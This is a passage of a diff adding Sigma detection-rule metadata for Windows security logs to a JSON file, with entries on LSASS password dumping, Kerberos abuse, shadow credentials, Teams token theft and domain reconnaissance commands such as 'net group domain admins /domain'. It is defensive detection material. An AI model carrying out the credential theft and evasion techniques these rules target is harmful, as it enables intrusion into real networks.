+ } + }, + { + "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", + "uuid": "9eb99343-d336-4020-a3cd-67f3819e68ee", + "value": "Account Tampering - Suspicious Failed Logon Reasons", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", + "https://twitter.com/SBousseaden/status/1101431884540710913", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2017/02/19", + "filename": "win_security_susp_failed_logon_reasons.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "User using a disabled account" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", + "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", + "value": "Failed Logon From Public IP", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_source.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.t1078", + "attack.t1190", + "attack.t1133" + ], + "creation_date": "2020/05/06", + "filename": "win_security_susp_failed_logon_source.yml", + "author": "NVISO", + "level": "medium", + "falsepositive": [ + "Legitimate logon attempts over the internet", + "IPv4-to-IPv6 mapped IPs" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a source system failing to authenticate against a remote host with multiple users.", + "uuid": "add2ef8d-dc91-4002-9e7e-f2702369f53a", + "value": "Multiple Users Remotely Failing To Authenticate From Single Source", + "meta": { + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ], + "creation_date": "2021/06/01", + "filename": "win_security_susp_failed_remote_logons_single_source.yml", + "author": "Mauricio Velazco", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages", + "uuid": "f7644214-0eb0-4ace-9455-331ec4c09253", + "value": "Kerberos Manipulation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2017/02/10", + "filename": "win_security_susp_kerberos_manipulation.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Faulty legacy applications" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", + "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", + "value": "KrbRelayUp Attack Pattern", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", + "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ], + "creation_date": "2022/04/27", + "filename": "win_security_susp_krbrelayup.yml", + "author": "@SBousseaden, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", + "uuid": "d00a9a72-2c09-4459-ad03-5e0a23351e36", + "value": "Suspicious LDAP-Attributes Used", + "meta": { + "refs": [ + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://github.com/fox-it/LDAPFragger", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" + ], + "tags": [ + "attack.t1001.003", + "attack.command_and_control" + ], + "creation_date": "2019/03/24", + "filename": "win_security_susp_ldap_dataexchange.yml", + "author": "xknow @xknow_infosec", + "level": "high", + "falsepositive": [ + "Companies, who may use these default LDAP-Attributes for personal information" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", + "uuid": "1bbf25b9-8038-4154-a50b-118f2a32be27", + "value": "Suspicious Windows ANONYMOUS LOGON Local Account Created", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1189469425482829824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "attack.t1136.002" + ], + "creation_date": "2019/10/31", + "filename": "win_security_susp_local_anon_logon_created.yml", + "author": "James Pemberton / @4A616D6573", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes logging on with explicit credentials", + "uuid": "941e5c45-cda7-4864-8cea-bbb7458d194a", + "value": "Suspicious Remote Logon with Explicit Credentials", + "meta": { + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml" + ], + "tags": [ + "attack.t1078", + "attack.lateral_movement" + ], + "creation_date": "2020/10/05", + "filename": "win_security_susp_logon_explicit_credentials.yml", + "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Administrators that use the RunAS command or scheduled tasks" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon events that specify new credentials", + "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", + "value": "Outgoing Logon with New Credentials", + "meta": { + "refs": [ + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_newcredentials.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/06", + "filename": "win_security_susp_logon_newcredentials.yml", + "author": "Max Altgelt", + "level": "low", + "falsepositive": [ + "Legitimate remote administration activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", + "uuid": "aa1697b7-d611-4f9a-9cb2-5125b4ccfd5c", + "value": "Password Dumper Activity on LSASS", + "meta": { + "refs": [ + "https://twitter.com/jackcr/status/807385668833968128", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2017/02/12", + "filename": "win_security_susp_lsass_dump.yml", + "author": "sigma", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects process handle on LSASS process with certain access mask", + "uuid": "4a1b6da0-d94f-4fc3-98fc-2d9cb9e5ee76", + "value": "Generic Password Dumper Activity on LSASS", + "meta": { + "refs": [ + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" + ], + "tags": [ + "attack.credential_access", + "car.2019-04-004", + "attack.t1003.001" + ], + "creation_date": "2019/11/01", + "filename": "win_security_susp_lsass_dump_generic.yml", + "author": "Roberto Rodriguez, Teymur Kheirkhabarov, Dimitrios Slamaris, Mark Russinovich, Aleksey Potapov, oscd.community (update)", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).", + "uuid": "97919310-06a7-482c-9639-92b67ed63cf8", + "value": "Suspicious Multiple File Rename Or Delete Occurred", + "meta": { + "refs": [ + "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ], + "creation_date": "2020/10/16", + "filename": "win_security_susp_multiple_files_renamed_or_deleted.yml", + "author": "Vasiliy Burov, oscd.community", + "level": "medium", + "falsepositive": [ + "Software uninstallation", + "Files restore activities" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", + "uuid": "968eef52-9cff-4454-8992-1e74b9cbad6c", + "value": "Reconnaissance Activity", + "meta": { + "refs": [ + "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002", + "attack.t1069.002", + "attack.s0039" + ], + "creation_date": "2017/03/07", + "filename": "win_security_susp_net_recon_activity.yml", + "author": "Florian Roth (rule), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community", + "level": "high", + "falsepositive": [ + "Administrator activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", + "uuid": "00ba9da1-b510-4f6b-b258-8d338836180f", + "value": "Password Protected ZIP File Opened", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/09", + "filename": "win_security_susp_opened_encrypted_zip.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.", + "uuid": "54f0434b-726f-48a1-b2aa-067df14516e4", + "value": "Password Protected ZIP File Opened (Suspicious Filenames)", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/09", + "filename": "win_security_susp_opened_encrypted_zip_filename.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", + "uuid": "571498c8-908e-40b4-910b-d2369159a3da", + "value": "Password Protected ZIP File Opened (Email Attachment)", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml" + ], + "tags": "No established tags", + "creation_date": "2022/05/09", + "filename": "win_security_susp_opened_encrypted_zip_outlook.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", + "uuid": "eca91c7c-9214-47b9-b4c5-cb1d7e4f2350", + "value": "Suspicious Outbound Kerberos Connection", + "meta": { + "refs": [ + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1558.003" + ], + "creation_date": "2019/10/24", + "filename": "win_security_susp_outbound_kerberos_connection.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Other browsers" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible addition of shadow credentials to an active directory object.", + "uuid": "f598ea0c-c25a-4f72-a219-50c44411c791", + "value": "Possible Shadow Credentials Added", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", + "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", + "https://twitter.com/SBousseaden/status/1581300963650187264?", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556" + ], + "creation_date": "2022/10/17", + "filename": "win_security_susp_possible_shadow_credentials_added.yml", + "author": "Nasreddine Bencherchali (rule), Elastic (idea)", + "level": "high", + "falsepositive": [ + "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions. (From elastic FP section)" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", + "uuid": "c462f537-a1e3-41a6-b5fc-b2c2cef9bf82", + "value": "Suspicious PsExec Execution", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_susp_psexec.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known sensitive file extensions accessed on a network share", + "uuid": "91c945bc-2ad1-4799-a591-4d00198a1215", + "value": "Suspicious Access to Sensitive File Extensions", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_raccess_sensitive_fext.yml" + ], + "tags": [ + "attack.collection", + "attack.t1039" + ], + "creation_date": "2019/04/03", + "filename": "win_security_susp_raccess_sensitive_fext.yml", + "author": "Samir Bousseaden", + "level": "medium", + "falsepositive": [ + "Help Desk operator doing backup or re-imaging end user machine or backup software", + "Users working with these data types or exchanging message files" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects service ticket requests using RC4 encryption type", + "uuid": "496a0e47-0a33-4dca-b009-9e6ca3591f39", + "value": "Suspicious Kerberos RC4 Ticket Encryption", + "meta": { + "refs": [ + "https://adsecurity.org/?p=3458", + "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ], + "creation_date": "2017/02/06", + "filename": "win_security_susp_rc4_kerberos.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Service accounts used on legacy systems (e.g. NetApp)", + "Windows Domains with DFL 2003 and legacy systems" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", + "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", + "value": "RottenPotato Like Attack Pattern", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1195284233729777665", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rottenpotato.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1557.001" + ], + "creation_date": "2019/11/15", + "filename": "win_security_susp_rottenpotato.yml", + "author": "@SBousseaden, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser().\n\"Audit User Account Management\" in \"Advanced Audit Policy Configuration\" has to be enabled in your local security policy / GPO to see this events.\n", + "uuid": "7818b381-5eb1-4641-bea5-ef9e4cfb5951", + "value": "Possible Remote Password Change Through SAMR", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_samr_pwset.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2017/06/09", + "filename": "win_security_susp_samr_pwset.yml", + "author": "Dimitrios Slamaris", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects renaming of file while deletion with SDelete tool.", + "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d", + "value": "Secure Deletion with SDelete", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.defense_evasion", + "attack.t1070.004", + "attack.t1027.005", + "attack.t1485", + "attack.t1553.002", + "attack.s0195" + ], + "creation_date": "2017/06/14", + "filename": "win_security_susp_sdelete.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Legitimate usage of SDelete" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", + "uuid": "faa031b5-21ed-4e02-8881-2591f98d82ed", + "value": "Unauthorized System Time Modification", + "meta": { + "refs": [ + "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)", + "Live environment caused by malware", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2019/02/05", + "filename": "win_security_susp_time_modification.yml", + "author": "@neu5ron", + "level": "low", + "falsepositive": [ + "HyperV or other virtualization technologies with binary not listed in filter portion of detection" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detection of logins performed with WMI", + "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", + "value": "Login with WMI", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_wmi_login.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2019/12/04", + "filename": "win_security_susp_wmi_login.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Monitoring tools", + "Legitimate system administration" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote service activity via remote access to the svcctl named pipe", + "uuid": "586a8d6b-6bfe-4ad9-9d78-888cd2fe50c3", + "value": "Remote Service Activity via SVCCTL Named Pipe", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "attack.t1021.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_svcctl_remote_service.yml", + "author": "Samir Bousseaden", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", + "uuid": "9a4ff3b8-6187-4fd2-8e8b-e0eae1129495", + "value": "SysKey Registry Keys Access", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ], + "creation_date": "2019/08/12", + "filename": "win_security_syskey_registry_access.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", + "uuid": "18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc", + "value": "Sysmon Channel Reference Deletion", + "meta": { + "refs": [ + "https://twitter.com/Flangvik/status/1283054508084473861", + "https://twitter.com/SecurityJosh/status/1283027365770276866", + "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html", + "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/07/14", + "filename": "win_security_sysmon_channel_reference_deletion.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", + "uuid": "9c8afa4d-0022-48f0-9456-3712466f9701", + "value": "Tap Driver Installation", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ], + "creation_date": "2019/10/24", + "filename": "win_security_tap_driver_installation.yml", + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "uuid": "25cde13e-8e20-4c29-b949-4e795b76f16f", + "value": "Suspicious Teams Application Related ObjectAcess Event", + "meta": { + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/09/16", + "filename": "win_security_teams_suspicious_objectaccess.yml", + "author": "@SerkinValery", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", + "uuid": "910ab938-668b-401b-b08c-b596e80fdca5", + "value": "Transferring Files with Credential Data via Network Shares", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.001", + "attack.t1003.003" + ], + "creation_date": "2019/10/22", + "filename": "win_security_transf_files_with_cred_data_via_network_shares.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Transferring sensitive files for legitimate administration work by legitimate administrator" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity", + "uuid": "c265cf08-3f99-46c1-8d59-328247057d57", + "value": "User Added to Local Administrators", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1078", + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2017/03/14", + "filename": "win_security_user_added_to_local_administrators.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", + "uuid": "6daac7fc-77d1-449a-a71a-e6b4d59a0e54", + "value": "User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1558.003" + ], + "creation_date": "2019/10/24", + "filename": "win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", + "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects local user creation on windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your windows server logs and not on your DC logs.", + "uuid": "66b6be3d-55d0-4f47-9855-d69df21740ea", + "value": "Local User Creation", + "meta": { + "refs": [ + "https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ], + "creation_date": "2019/04/18", + "filename": "win_security_user_creation.yml", + "author": "Patrick Bareiss", + "level": "low", + "falsepositive": [ + "Domain Controller Logs", + "Local accounts managed by privileged account management tools" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the loading of drivers via 'SeLoadDriverPrivilege' required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools.\nSo you have to work with a whitelist to find the bad stuff.\n", + "uuid": "f63508a0-c809-4435-b3be-ed819394d612", + "value": "Suspicious Driver Loaded By User", + "meta": { + "refs": [ + "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2019/04/08", + "filename": "win_security_user_driver_loaded.yml", + "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", + "level": "medium", + "falsepositive": [ + "Other legimate tools loading drivers. There are some: Sysinternals, CPU-Z, AVs etc. - but not much. You have to baseline this according to your used products and allowed tools. Also try to exclude users, which are allowed to load drivers." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", + "uuid": "0badd08f-c6a3-4630-90d3-6875cca440be", + "value": "User Logoff Event", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_user_logoff.yml", + "author": "frack113", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.", + "uuid": "e9faba72-4974-4ab2-a4c5-46e25ad59e9b", + "value": "VSSAudit Security Event Source Registration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2020/10/20", + 